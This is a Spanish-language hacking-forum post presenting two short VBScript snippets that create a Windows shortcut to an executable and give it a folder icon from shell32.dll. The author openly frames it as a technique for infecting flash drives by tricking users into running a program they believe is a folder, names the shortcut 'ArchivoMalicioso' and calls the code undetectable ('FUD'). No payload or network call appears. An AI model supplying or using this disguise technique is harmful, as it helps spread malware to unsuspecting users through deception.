[VBS] Crear link y cambiarle el icono.

  • 0 Respuestas
  • 4591 Vistas

0 Usuarios y 2 Visitantes están viendo este tema.

Desconectado 79137913

  • *
  • Moderator
  • Mensajes: 708
  • Actividad:
    0%
  • Country: 00
  • Reputación 136
  • 4 Esquinas
  • Skype: [email protected]
    • Ver Perfil
    • Doors.Party
    • Email

[VBS] Crear link y cambiarle el icono.

  • en: Enero 04, 2016, 09:47:29 am
HOLA!!!

Tecnica muy utilizada para infectar memorias flash este codigo permitira crear un link desde un path determinado y cambiarle el icono.

Se puede utilizar para que el usuario ejecute un ejecutable pensando que es una carpeta por ejemplo.

Codigo 1:

Código: (vb) [Seleccionar]
'CREAR ACCESO DIRECTO:
Set objShell = WScript.CreateObject("WScript.Shell")
Set link= objShell.CreateShortcut("C:\ArchivoMalicioso.lnk")
link.TargetPath = "C:\Ejecutable.exe"
link.Description = "Archivo malicioso"
link.Save

Codigo 2:

Código: (vb) [Seleccionar]
'CAMBIAR ICONO DE UN ACCESO DIRECTO

Const DESKTOP = &H10&

Set objShell = CreateObject("Shell.Application")

'SELECCIONAMOS LA CARPETA
Set objFolder = objShell.NameSpace("c:\")
'SELECCIONAMOS EL ARCHIVO DE ACCESO DIRECTO
Set objFolderItem = objFolder.ParseName("ArchivoMalicioso.lnk")
Set objShortcut = objFolderItem.GetLink

'ELEGIMOS EL ICONO 13 DE SHELL32.DLL
objShortcut.SetIconLocation "C:\Windows\System32\SHELL32.dll", 13
objShortcut.Save

Bueno en cuanto a como elegir el icono utilizamos el archivo shell32.dll el icono 13, para saber que icono es el 13 o el numero que querramos abrimos el explorador de iconos y contamos de la siguiente manera:


Como veran el icono elegido es el que tiene fondo azul. (el que esta seleccionado en la imagen).

Este codigo es FUD.


GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                   DOORS.PARTY